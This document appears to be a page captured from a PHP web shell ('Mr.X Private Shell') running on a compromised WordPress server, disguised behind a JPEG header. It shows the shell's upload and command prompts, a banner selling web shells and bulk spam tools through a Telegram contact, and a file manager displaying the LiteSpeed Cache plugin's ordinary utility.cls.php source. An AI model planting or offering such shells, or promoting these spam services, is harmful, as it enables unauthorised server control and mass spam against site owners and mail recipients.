����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.144: ~ $
<?php
/**
 * Utility helpers for LiteSpeed Cache.
 *
 * @since   1.1.5
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Miscellaneous utility methods used across the plugin.
 */
class Utility extends Root {

	/**
	 * Cached list of extra internal domains.
	 *
	 * @var array<int,string>|null
	 */
	private static $_internal_domains;

	/**
	 * Validate a list of regex rules by attempting to compile them.
	 *
	 * @since 1.0.9
	 * @since 3.0 Moved here from admin-settings.cls
	 * @param array<int,string> $rules Regex fragments (without delimiters).
	 * @return bool True for valid rules, false otherwise.
	 */
	public static function syntax_checker( $rules ) {
		return false !== preg_match( self::arr2regex( $rules ), '' );
	}

	/**
	 * Combine an array of strings into a single alternation regex.
	 *
	 * @since 3.0
	 *
	 * @param array<int,string> $arr            List of strings.
	 * @param bool              $drop_delimiter When true, return without regex delimiters.
	 * @return string Regex pattern.
	 */
	public static function arr2regex( $arr, $drop_delimiter = false ) {
		$arr = self::sanitize_lines( $arr );

		$new_arr = [];
		foreach ( $arr as $v ) {
			$new_arr[] = preg_quote( $v, '#' );
		}

		$regex = implode( '|', $new_arr );
		$regex = str_replace( ' ', '\\ ', $regex );

		if ( $drop_delimiter ) {
			return $regex;
		}

		return '#' . $regex . '#';
	}

	/**
	 * Replace wildcard characters in a string/array with their regex equivalents.
	 *
	 * @since 3.2.2
	 *
	 * @param string|array<int,string> $value String or list of strings.
	 * @return string|array<int,string>
	 */
	public static function wildcard2regex( $value ) {
		if ( is_array( $value ) ) {
			return array_map( __CLASS__ . '::wildcard2regex', $value );
		}

		if ( false !== strpos( $value, '*' ) ) {
			$value = preg_quote( $value, '#' );
			$value = str_replace( '\*', '.*', $value );
		}

		return $value;
	}

	/**
	 * Get current page type string.
	 *
	 * @since 2.9
	 *
	 * @return string Page type.
	 */
	public static function page_type() {
		global $wp_query;
		$page_type = 'default';

		if ( $wp_query->is_page ) {
			$page_type = is_front_page() ? 'front' : 'page';
		} elseif ( $wp_query->is_home ) {
			$page_type = 'home';
		} elseif ( $wp_query->is_single ) {
			$page_type = get_post_type();
		} elseif ( $wp_query->is_category ) {
			$page_type = 'category';
		} elseif ( $wp_query->is_tag ) {
			$page_type = 'tag';
		} elseif ( $wp_query->is_tax ) {
			$page_type = 'tax';
		} elseif ( $wp_query->is_archive ) {
			if ( $wp_query->is_day ) {
				$page_type = 'day';
			} elseif ( $wp_query->is_month ) {
				$page_type = 'month';
			} elseif ( $wp_query->is_year ) {
				$page_type = 'year';
			} elseif ( $wp_query->is_author ) {
				$page_type = 'author';
			} else {
				$page_type = 'archive';
			}
		} elseif ( $wp_query->is_search ) {
			$page_type = 'search';
		} elseif ( $wp_query->is_404 ) {
			$page_type = '404';
		}

		return $page_type;
	}

	/**
	 * Get ping speed to a domain via HTTP HEAD timing.
	 *
	 * @since 2.9
	 *
	 * @param string $domain Domain or URL.
	 * @return int Milliseconds (99999 on error).
	 */
	public static function ping( $domain ) {
		if ( false !== strpos( $domain, ':' ) ) {
			$host   = wp_parse_url( $domain, PHP_URL_HOST );
			$domain = $host ? $host : $domain;
		}
		$starttime = microtime(true);
		$file      = fsockopen($domain, 443, $errno, $errstr, 10); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fsockopen
		$stoptime  = microtime(true);
		$status    = 0;

		if (!$file) {
			$status = 99999;
		} else {
			// Site is up
			fclose($file); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
			$status = ($stoptime - $starttime) * 1000;
			$status = floor($status);
		}

		Debug2::debug("[Util] ping [Domain] $domain \t[Speed] $status");

		return $status;
	}

	/**
	 * Convert seconds/timestamp to a readable relative time.
	 *
	 * @since 1.6.5
	 *
	 * @param int  $seconds_or_timestamp Seconds or 10-digit timestamp.
	 * @param int  $timeout              If older than this, show absolute time.
	 * @param bool $forward              When true, omit "ago".
	 * @return string Human readable time.
	 */
	public static function readable_time( $seconds_or_timestamp, $timeout = 3600, $forward = false ) {
		if ( 10 === strlen( (string) $seconds_or_timestamp ) ) {
			$seconds = time() - (int) $seconds_or_timestamp;
			if ( $seconds > $timeout ) {
				return gmdate( 'm/d/Y H:i:s', (int) $seconds_or_timestamp + (int) LITESPEED_TIME_OFFSET );
			}
		} else {
			$seconds = (int) $seconds_or_timestamp;
		}

		$res = '';
		if ( $seconds > 86400 ) {
			$num      = (int) floor( $seconds / 86400 );
			$res     .= $num . 'd';
			$seconds %= 86400;
		}

		if ( $seconds > 3600 ) {
			if ( $res ) {
				$res .= ', ';
			}
			$num      = (int) floor( $seconds / 3600 );
			$res     .= $num . 'h';
			$seconds %= 3600;
		}

		if ( $seconds > 60 ) {
			if ( $res ) {
				$res .= ', ';
			}
			$num      = (int) floor( $seconds / 60 );
			$res     .= $num . 'm';
			$seconds %= 60;
		}

		if ( $seconds > 0 ) {
			if ( $res ) {
				$res .= ' ';
			}
			$res .= $seconds . 's';
		}

		if ( ! $res ) {
			return $forward ? __( 'right now', 'litespeed-cache' ) : __( 'just now', 'litespeed-cache' );
		}

		return $forward ? $res : sprintf( __( ' %s ago', 'litespeed-cache' ), $res );
	}

	/**
	 * Convert array to a compact base64 JSON string.
	 *
	 * @since 1.6
	 *
	 * @param mixed $arr Input array or scalar.
	 * @return string|mixed Encoded string or original value.
	 */
	public static function arr2str( $arr ) {
		if ( ! is_array( $arr ) ) {
			return $arr;
		}

		return base64_encode( wp_json_encode( $arr ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
	}

	/**
	 * Convert size in bytes to human readable form.
	 *
	 * @since 1.6
	 *
	 * @param int  $filesize Bytes.
	 * @param bool $is_1000  When true, use 1000-based units.
	 * @return string
	 */
	public static function real_size( $filesize, $is_1000 = false ) {
		$unit = $is_1000 ? 1000 : 1024;

		if ( $filesize >= pow( $unit, 3 ) ) {
			$filesize = round( ( $filesize / pow( $unit, 3 ) ) * 100 ) / 100 . 'G';
		} elseif ( $filesize >= pow( $unit, 2 ) ) {
			$filesize = round( ( $filesize / pow( $unit, 2 ) ) * 100 ) / 100 . 'M';
		} elseif ( $filesize >= $unit ) {
			$filesize = round( ( $filesize / $unit ) * 100 ) / 100 . 'K';
		} else {
			$filesize = $filesize . 'B';
		}
		return $filesize;
	}

	/**
	 * Parse HTML attribute string into an array.
	 *
	 * @since 1.2.2
	 * @since 1.4 Moved from optimize to utility
	 * @access private
	 *
	 * @param string $str Raw attribute string.
	 * @return array<string,string> Attributes.
	 */
	public static function parse_attr( $str ) {
		$attrs  = [];
		$parsed = wp_kses_hair( $str, self::_kses_protocols() );
		foreach ( $parsed as $name => $data ) {
			$attrs[ $name ] = $data['value'];
		}
		return $attrs;
	}

	/**
	 * Remove an attribute from an HTML attribute string using wp_kses_hair.
	 *
	 * @since 7.8
	 *
	 * @param string $attr_str  Raw attribute string (e.g. ' type="text/javascript" src="..."').
	 * @param string $attr_name Attribute name to remove (e.g. 'type', 'async').
	 * @return string Attribute string with the named attribute removed.
	 */
	public static function remove_attr( $attr_str, $attr_name ) {
		$parsed = wp_kses_hair( $attr_str, self::_kses_protocols() );
		if ( ! isset( $parsed[ $attr_name ] ) ) {
			return $attr_str;
		}

		$whole = $parsed[ $attr_name ]['whole'];

		// For valueless attrs (e.g. async), use word boundary to avoid partial match (e.g. async-fallback)
		if ( 'y' === $parsed[ $attr_name ]['vless'] ) {
			return preg_replace( '# ' . preg_quote( $whole, '#' ) . '(?=\s|>|/|$)#i', '', $attr_str, 1 );
		}

		// For attrs with value (e.g. type="text/javascript"), straight replace is safe
		$result = str_replace( ' ' . $whole, '', $attr_str );

		// Handle edge case: attr at the very start of string (no leading space)
		if ( $result === $attr_str && 0 === strpos( $attr_str, $whole ) ) {
			$result = ltrim( substr( $attr_str, strlen( $whole ) ) );
		}

		return $result;
	}

	/**
	 * Return allowed protocols including data: for attribute parsing.
	 *
	 * WordPress wp_allowed_protocols() does not include data:, but our parse/remove
	 * helpers must preserve data: URIs (e.g. base64 placeholder images).
	 *
	 * @since 7.8
	 * @return string[]
	 */
	private static function _kses_protocols() {
		static $protocols;
		if ( null === $protocols ) {
			$protocols = array_merge( wp_allowed_protocols(), [ 'data' ] );
		}
		return $protocols;
	}

	/**
	 * Search for a hit within an array of strings/rules.
	 *
	 * Supports ^prefix, suffix$, ^exact$, and substring.
	 *
	 * @since 1.3
	 * @access private
	 *
	 * @param string $needle   The string to compare.
	 * @param array  $haystack Array of rules/strings.
	 * @param bool   $has_ttl  When true, support "rule TTL" format.
	 * @return bool|string|array False if not found; matched item or [item, ttl] if has_ttl.
	 */
	public static function str_hit_array( $needle, $haystack, $has_ttl = false ) {
		if ( ! $haystack ) {
			return false;
		}
		if ( ! is_array( $haystack ) ) {
			Debug2::debug( '[Util] ❌ bad param in str_hit_array()!' );
			return false;
		}

		$hit      = false;
		$this_ttl = 0;
		foreach ( $haystack as $item ) {
			if ( ! $item ) {
				continue;
			}

			if ( $has_ttl ) {
				$this_ttl = 0;
				$item     = explode( ' ', $item );
				if ( ! empty( $item[1] ) ) {
					$this_ttl = $item[1];
				}
				$item = $item[0];
			}

			if ( '^' === substr( $item, 0, 1 ) && '$' === substr( $item, -1 ) ) {
				if ( substr( $item, 1, -1 ) === $needle ) {
					$hit = $item;
					break;
				}
			} elseif ( '$' === substr( $item, -1 ) ) {
				if ( substr( $item, 0, -1 ) === substr( $needle, -strlen( $item ) + 1 ) ) {
					$hit = $item;
					break;
				}
			} elseif ( '^' === substr( $item, 0, 1 ) ) {
				if ( substr( $item, 1 ) === substr( $needle, 0, strlen( $item ) - 1 ) ) {
					$hit = $item;
					break;
				}
			} elseif ( false !== strpos( $needle, $item ) ) {
				$hit = $item;
				break;
			}
		}

		if ( $hit ) {
			return $has_ttl ? [ $hit, $this_ttl ] : $hit;
		}

		return false;
	}

	/**
	 * Load PHP-compat library.
	 *
	 * @since 1.2.2
	 * @return void
	 */
	public static function compatibility() {
		require_once LSCWP_DIR . 'lib/php-compatibility.func.php';
	}

	/**
	 * Convert URI path to absolute URL.
	 *
	 * @since 1.3
	 *
	 * @param string $uri Relative path `/a/b.html` or `a/b.html`.
	 * @return string Absolute URL.
	 */
	public static function uri2url( $uri ) {
		if ( '/' === substr( $uri, 0, 1 ) ) {
			self::domain_const();
			$url = LSCWP_DOMAIN . $uri;
		} else {
			$url = home_url( '/' ) . $uri;
		}

		return $url;
	}

	/**
	 * Get basename from URL.
	 *
	 * @since 4.7
	 *
	 * @param string $url URL.
	 * @return string Basename.
	 */
	public static function basename( $url ) {
		$url      = trim( $url );
		$uri      = wp_parse_url( $url, PHP_URL_PATH );
		$basename = pathinfo( (string) $uri, PATHINFO_BASENAME );

		return $basename;
	}

	/**
	 * Drop .webp and .avif suffix from a filename.
	 *
	 * @since 4.7
	 *
	 * @param string $filename Filename.
	 * @return string Cleaned filename.
	 */
	public static function drop_webp( $filename ) {
		if ( in_array( substr( $filename, -5 ), [ '.webp', '.avif' ], true ) ) {
			$filename = substr( $filename, 0, -5 );
		}

		return $filename;
	}

	/**
	 * Convert URL to URI (optionally keep query).
	 *
	 * @since 1.2.2
	 * @since 1.6.2.1 Added 2nd param keep_qs
	 *
	 * @param string $url     URL.
	 * @param bool   $keep_qs Keep query string.
	 * @return string URI.
	 */
	public static function url2uri( $url, $keep_qs = false ) {
		$url = trim( $url );
		$uri = wp_parse_url( $url, PHP_URL_PATH );
		$qs  = wp_parse_url( $url, PHP_URL_QUERY );

		if ( ! $keep_qs || ! $qs ) {
			return (string) $uri;
		}

		return (string) $uri . '?' . $qs;
	}

	/**
	 * Get attachment relative path to upload folder.
	 *
	 * @since 3.0
	 *
	 * @param string $url Full attachment URL.
	 * @return string Relative upload path like `2018/08/file.jpg`.
	 */
	public static function att_short_path( $url ) {
		if ( ! defined( 'LITESPEED_UPLOAD_PATH' ) ) {
			$_wp_upload_dir = wp_upload_dir();

			$upload_path = self::url2uri( $_wp_upload_dir['baseurl'] );

			define( 'LITESPEED_UPLOAD_PATH', $upload_path );
		}

		$local_file = self::url2uri( $url );

		$short_path = substr( $local_file, strlen( LITESPEED_UPLOAD_PATH ) + 1 );

		return $short_path;
	}

	/**
	 * Make URL relative to the site root (preserves subdir).
	 *
	 * @param string $url Absolute URL.
	 * @return string Relative URL starting with '/'.
	 */
	public static function make_relative( $url ) {
		self::domain_const();
		if ( 0 === strpos( $url, LSCWP_DOMAIN ) ) {
			$url = substr( $url, strlen( LSCWP_DOMAIN ) );
		}
		return trim( $url );
	}

	/**
	 * Extract just the scheme+host portion from a URL.
	 *
	 * @since 1.7.1
	 *
	 * @param string $url URL.
	 * @return string Host-only URL (with scheme if available).
	 */
	public static function parse_domain( $url ) {
		$parsed = wp_parse_url( $url );
		if ( empty( $parsed['host'] ) ) {
			return '';
		}

		if ( ! empty( $parsed['scheme'] ) ) {
			return $parsed['scheme'] . '://' . $parsed['host'];
		}

		return '//' . $parsed['host'];
	}

	/**
	 * Drop protocol from URL (e.g., https://example.com -> //example.com).
	 *
	 * @since 3.3
	 *
	 * @param string $url URL.
	 * @return string Protocol-relative URL.
	 */
	public static function noprotocol( $url ) {
		$tmp = wp_parse_url( trim( $url ) );
		if ( ! empty( $tmp['scheme'] ) ) {
			$url = str_replace( $tmp['scheme'] . ':', '', $url );
		}

		return $url;
	}

	/**
	 * Validate IPv4 public address.
	 *
	 * @since 5.5
	 *
	 * @param string $ip IP address.
	 * @return string|false IP or false when invalid.
	 */
	public static function valid_ipv4( $ip ) {
		return filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE );
	}

	/**
	 * Define LSCWP_DOMAIN using the home URL (no trailing slash).
	 *
	 * @since 1.3
	 * @return void
	 */
	public static function domain_const() {
		if ( defined( 'LSCWP_DOMAIN' ) ) {
			return;
		}

		self::compatibility();
		$domain = http_build_url( get_home_url(), [], HTTP_URL_STRIP_ALL ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url

		define( 'LSCWP_DOMAIN', $domain );
	}

	/**
	 * Sanitize lines based on requested transforms.
	 *
	 * @since 1.3
	 *
	 * @param array|string $arr  Lines as array or newline-separated string.
	 * @param string|null  $type Comma-separated transforms: uri,basename,drop_webp,relative,domain,noprotocol,trailingslash,string.
	 * @return array|string Sanitized list or string.
	 */
	public static function sanitize_lines( $arr, $type = null ) {
		$types = $type ? explode( ',', $type ) : [];

		if ( ! $arr ) {
			if ( 'string' === $type ) {
				return '';
			}
			return [];
		}

		if ( ! is_array( $arr ) ) {
			$arr = explode( "\n", $arr );
		}

		$arr     = array_map( 'trim', $arr );
		$changed = false;
		if ( in_array( 'uri', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::url2uri', $arr );
			$changed = true;
		}
		if ( in_array( 'basename', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::basename', $arr );
			$changed = true;
		}
		if ( in_array( 'drop_webp', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::drop_webp', $arr );
			$changed = true;
		}
		if ( in_array( 'relative', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::make_relative', $arr );
			$changed = true;
		}
		if ( in_array( 'domain', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::parse_domain', $arr );
			$changed = true;
		}
		if ( in_array( 'noprotocol', $types, true ) ) {
			$arr     = array_map( __CLASS__ . '::noprotocol', $arr );
			$changed = true;
		}
		if ( in_array( 'trailingslash', $types, true ) ) {
			$arr     = array_map( 'trailingslashit', $arr );
			$changed = true;
		}

		if ( $changed ) {
			$arr = array_map( 'trim', $arr );
		}
		$arr = array_unique( $arr );
		$arr = array_filter( $arr );

		if ( in_array( 'string', $types, true ) ) {
			return implode( "\n", $arr );
		}

		return $arr;
	}

	/**
	 * Build an admin URL with action & nonce.
	 *
	 * Assumes user capabilities are already checked.
	 *
	 * @since 1.6 Changed order of 2nd&3rd param, changed 3rd param `append_str` to 2nd `type`
	 *
	 * @param string               $action    Action name.
	 * @param string|false         $type      Optional type query value.
	 * @param bool                 $is_ajax   Whether to build for admin-ajax.php.
	 * @param string|null|bool     $page      Page filename or true for admin.php.
	 * @param array<string,string> $append_arr Extra query parameters.
	 * @param bool                 $unescape  Return unescaped URL.
	 * @return string Built URL.
	 */
	public static function build_url( $action, $type = false, $is_ajax = false, $page = null, $append_arr = [], $unescape = false ) {
		$prefix = '?';

		if ( '_ori' === $page ) {
			$page                         = true;
			$append_arr['_litespeed_ori'] = 1;
		}

		if ( ! $is_ajax ) {
			if ( $page ) {
				if ( true === $page ) {
					$page = 'admin.php';
				} elseif ( false !== strpos( $page, '?' ) ) {
					$prefix = '&';
				}
				$combined = $page . $prefix . Router::ACTION . '=' . $action;
			} else {
				// Current page rebuild URL.
				$params = $_GET; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

				if ( ! empty( $params ) ) {
					if ( isset( $params[ Router::ACTION ] ) ) {
						unset( $params[ Router::ACTION ] );
					}
					if ( isset( $params['_wpnonce'] ) ) {
						unset( $params['_wpnonce'] );
					}
					if ( ! empty( $params ) ) {
						$prefix .= http_build_query( $params ) . '&';
					}
				}
				global $pagenow;
				$combined = $pagenow . $prefix . Router::ACTION . '=' . $action;
			}
		} else {
			$combined = 'admin-ajax.php?action=litespeed_ajax&' . Router::ACTION . '=' . $action;
		}

		$prenonce = is_network_admin() ? network_admin_url( $combined ) : admin_url( $combined );
		$url      = wp_nonce_url( $prenonce, $action, Router::NONCE );

		if ( $type ) {
			// Remove potential param `type` from url.
			$parsed = wp_parse_url( htmlspecialchars_decode( $url ) );
			$query  = [];
			if ( isset( $parsed['query'] ) ) {
				parse_str( $parsed['query'], $query );
			}

			$built_arr       = array_merge( $query, [ Router::TYPE => $type ] );
			$parsed['query'] = http_build_query( array_merge( $built_arr, (array) $append_arr ) );
			self::compatibility();
			$url = http_build_url( $parsed ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url
			$url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' );
		}

		if ( $unescape ) {
			$url = wp_specialchars_decode( $url );
		}

		return $url;
	}

	/**
	 * Check if a host is internal (same as site host or filtered list).
	 *
	 * @since 1.2.3
	 *
	 * @param string $host Host to test.
	 * @return bool True if internal.
	 */
	public static function internal( $host ) {
		if ( ! defined( 'LITESPEED_FRONTEND_HOST' ) ) {
			if ( defined( 'WP_HOME' ) ) {
				$home_host = constant( 'WP_HOME' );
			} else {
				$home_host = get_option( 'home' );
			}
			define( 'LITESPEED_FRONTEND_HOST', (string) wp_parse_url( $home_host, PHP_URL_HOST ) );
		}

		if ( LITESPEED_FRONTEND_HOST === $host ) {
			return true;
		}

		if ( ! isset( self::$_internal_domains ) ) {
			self::$_internal_domains = apply_filters( 'litespeed_internal_domains', [] );
		}

		if ( self::$_internal_domains ) {
			return in_array( $host, self::$_internal_domains, true );
		}

		return false;
	}

	/**
	 * Check if a URL is an internal existing file and return its real path and size.
	 *
	 * @since 1.2.2
	 * @since 1.6.2 Moved here from optm.cls due to usage of media.cls
	 *
	 * @param string       $url              URL.
	 * @param string|false $addition_postfix Optional postfix to append to path before checking.
	 * @return array{0:string,1:int}|false [realpath, size] or false.
	 */
	public static function is_internal_file( $url, $addition_postfix = false ) {
		if ( 'data:' === substr( $url, 0, 5 ) ) {
			Debug2::debug2( '[Util] data: content not file' );
			return false;
		}
		$url_parsed = wp_parse_url( $url );
		if ( isset( $url_parsed['host'] ) && ! self::internal( $url_parsed['host'] ) ) {
			// Check if is cdn path.
			if ( ! CDN::internal( $url_parsed['host'] ) ) {
				Debug2::debug2( '[Util] external' );
				return false;
			}
		}

		if ( empty( $url_parsed['path'] ) ) {
			return false;
		}

		// Replace child blog path for assets (multisite).
		if ( is_multisite() && defined( 'PATH_CURRENT_SITE' ) ) {
			$pattern            = '#^' . PATH_CURRENT_SITE . '([_0-9a-zA-Z-]+/)(wp-(content|admin|includes))#U';
			$replacement        = PATH_CURRENT_SITE . '$2';
			$url_parsed['path'] = preg_replace( $pattern, $replacement, $url_parsed['path'] );
		}

		// Parse file path.
		if ( '/' === substr( $url_parsed['path'], 0, 1 ) ) {
			$docroot = isset( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : '';
			if ( defined( 'LITESPEED_WP_REALPATH' ) ) {
				$file_path_ori = $docroot . constant( 'LITESPEED_WP_REALPATH' ) . $url_parsed['path'];
			} else {
				$file_path_ori = $docroot . $url_parsed['path'];
			}
		} else {
			$file_path_ori = Router::frontend_path() . '/' . $url_parsed['path'];
		}

		// Optional postfix.
		if ( $addition_postfix ) {
			$file_path_ori .= '.' . $addition_postfix;
		}

		$file_path_ori = apply_filters( 'litespeed_realpath', $file_path_ori );

		$file_path = realpath( $file_path_ori );
		if ( ! is_file( $file_path ) ) {
			Debug2::debug2( '[Util] file not exist: ' . $file_path_ori );
			return false;
		}

		return [ $file_path, (int) filesize( $file_path ) ];
	}

	/**
	 * Safely parse URL and component.
	 *
	 * @since 3.4.3
	 *
	 * @param string $url       URL to parse.
	 * @param int    $component One of the PHP_URL_* constants.
	 * @return mixed
	 */
	public static function parse_url_safe( $url, $component = -1 ) {
		if ( '//' === substr( $url, 0, 2 ) ) {
			$url = 'https:' . $url;
		}

		return wp_parse_url( $url, $component );
	}

	/**
	 * Replace URLs in a srcset attribute using a callback.
	 *
	 * @since 2.2.3
	 *
	 * @param string   $content  HTML content containing srcset.
	 * @param callable $callback Callback that receives old URL and returns new URL or false.
	 * @return string Modified content.
	 */
	public static function srcset_replace( $content, $callback ) {
		preg_match_all( '# srcset=([\'"])(.+)\g{1}#iU', $content, $matches );
		$srcset_ori   = [];
		$srcset_final = [];
		if ( ! empty( $matches[2] ) ) {
			foreach ( $matches[2] as $k => $urls_ori ) {
				$urls_final = explode( ',', $urls_ori );

				$changed = false;

				foreach ( $urls_final as $k2 => $url_info ) {
					$url_info_arr = explode( ' ', trim( $url_info ) );

					$new_url = call_user_func( $callback, $url_info_arr[0] );
					if ( ! $new_url ) {
						continue;
					}

					$changed           = true;
					$urls_final[ $k2 ] = str_replace( $url_info_arr[0], $new_url, $url_info );

					Debug2::debug2( '[Util] - srcset replaced to ' . $new_url . ( ! empty( $url_info_arr[1] ) ? ' ' . $url_info_arr[1] : '' ) );
				}

				if ( ! $changed ) {
					continue;
				}

				$urls_final = implode( ',', $urls_final );

				$srcset_ori[]   = $matches[0][ $k ];
				$srcset_final[] = str_replace( $urls_ori, $urls_final, $matches[0][ $k ] );
			}
		}

		if ( $srcset_ori ) {
			$content = str_replace( $srcset_ori, $srcset_final, $content );
			Debug2::debug2( '[Util] - srcset replaced' );
		}

		return $content;
	}

	/**
	 * Generate pagination HTML or return offset.
	 *
	 * @since 3.0
	 *
	 * @param int  $total         Total items.
	 * @param int  $limit         Items per page.
	 * @param bool $return_offset When true, return numeric offset instead of HTML.
	 * @return int|string
	 */
	public static function pagination( $total, $limit, $return_offset = false ) {
		$pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 1; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		$offset       = ( $pagenum - 1 ) * $limit;
		$num_of_pages = (int) ceil( $total / $limit );

		if ( $offset > $total ) {
			$offset = $total - $limit;
		}

		if ( $offset < 0 ) {
			$offset = 0;
		}

		if ( $return_offset ) {
			return $offset;
		}

		$page_links = paginate_links(
			[
				'base'      => add_query_arg( 'pagenum', '%#%' ),
				'format'    => '',
				'prev_text' => '&laquo;',
				'next_text' => '&raquo;',
				'total'     => $num_of_pages,
				'current'   => $pagenum,
			]
		);

		return '<div class="tablenav"><div class="tablenav-pages" style="margin: 1em 0">' . $page_links . '</div></div>';
	}

	/**
	 * Build a GROUP placeholder like "(%s,%s),(%s,%s)" for a list of rows.
	 *
	 * @since 2.0
	 *
	 * @param array<int,array<int,string>> $data   Data rows (values already prepared).
	 * @param string                       $fields Fields CSV (only used to count columns).
	 * @return string Placeholder string.
	 */
	public static function chunk_placeholder( $data, $fields ) {
		$division = substr_count( $fields, ',' ) + 1;

		$q = implode(
			',',
			array_map(
				function ( $el ) {
					return '(' . implode( ',', $el ) . ')';
				},
				array_chunk( array_fill( 0, count( $data ), '%s' ), $division )
			)
		);

		return $q;
	}

	/**
	 * Prepare image sizes list for optimization UI.
	 *
	 * @since 7.5
	 *
	 * @param bool $detailed When true, return detailed objects; otherwise size names.
	 * @return array<int,string|array<string,int|string>>
	 */
	public static function prepare_image_sizes_array( $detailed = false ) {
		$image_sizes = wp_get_registered_image_subsizes();
		$sizes       = [];

		foreach ( $image_sizes as $current_size_name => $current_size ) {
			if ( empty( $current_size['width'] ) && empty( $current_size['height'] ) ) {
				continue;
			}

			if ( ! $detailed ) {
				$sizes[] = $current_size_name;
			} else {
				$label = $current_size['width'] . 'x' . $current_size['height'];
				if ( $current_size_name !== $label ) {
					$label = ucfirst( $current_size_name ) . ' ( ' . $label . ' )';
				}

				$sizes[] = [
					'label'     => $label,
					'file_size' => $current_size_name,
					'width'     => (int) $current_size['width'],
					'height'    => (int) $current_size['height'],
				];
			}
		}

		return $sizes;
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 17.31 KB 0644
admin-display.cls.php File 48.47 KB 0644
admin-settings.cls.php File 11.12 KB 0644
admin.cls.php File 6.13 KB 0644
api.cls.php File 10.36 KB 0644
avatar.cls.php File 8.65 KB 0644
base.cls.php File 37.66 KB 0644
cdn.cls.php File 15.92 KB 0644
cloud-auth-callback.trait.php File 10.43 KB 0644
cloud-auth-ip.trait.php File 4.33 KB 0644
cloud-auth.trait.php File 9.38 KB 0644
cloud-misc.trait.php File 10.32 KB 0644
cloud-node.trait.php File 5.95 KB 0644
cloud-request.trait.php File 19.68 KB 0644
cloud.cls.php File 7.32 KB 0644
conf.cls.php File 19.53 KB 0644
control.cls.php File 24.35 KB 0644
core.cls.php File 20.97 KB 0644
crawler-map.cls.php File 19.41 KB 0644
crawler.cls.php File 44.72 KB 0644
css.cls.php File 17.77 KB 0644
data.cls.php File 22.21 KB 0644
data.upgrade.func.php File 5.72 KB 0644
db-optm.cls.php File 15.35 KB 0644
debug2.cls.php File 18.4 KB 0644
doc.cls.php File 5.45 KB 0644
error.cls.php File 7.35 KB 0644
esi.cls.php File 27.18 KB 0644
file.cls.php File 10.57 KB 0644
guest.cls.php File 2.75 KB 0644
gui.cls.php File 36.57 KB 0644
health.cls.php File 2.83 KB 0644
htaccess.cls.php File 29.81 KB 0644
img-optm-manage.trait.php File 30.85 KB 0644
img-optm-pull.trait.php File 22.1 KB 0644
img-optm-send.trait.php File 21.9 KB 0644
img-optm.cls.php File 5.26 KB 0644
import.cls.php File 4.29 KB 0644
import.preset.cls.php File 5.5 KB 0644
lang.cls.php File 17.02 KB 0644
localization.cls.php File 4.03 KB 0644
media.cls.php File 44.08 KB 0644
metabox.cls.php File 5.29 KB 0644
object-cache-wp.cls.php File 18.82 KB 0644
object-cache.cls.php File 20.95 KB 0644
object.lib.php File 14.16 KB 0644
optimize.cls.php File 38.64 KB 0644
optimizer.cls.php File 10.5 KB 0644
placeholder.cls.php File 17.93 KB 0644
purge.cls.php File 34.41 KB 0644
report.cls.php File 6.12 KB 0644
rest.cls.php File 9.08 KB 0644
root.cls.php File 14.29 KB 0644
router.cls.php File 20.76 KB 0644
str.cls.php File 3.08 KB 0644
tag.cls.php File 9.26 KB 0644
task.cls.php File 7.05 KB 0644
tool.cls.php File 4.17 KB 0644
ucss.cls.php File 16.35 KB 0644
utility.cls.php File 26.01 KB 0644
vary.cls.php File 21.33 KB 0644
vpi.cls.php File 9.38 KB 0644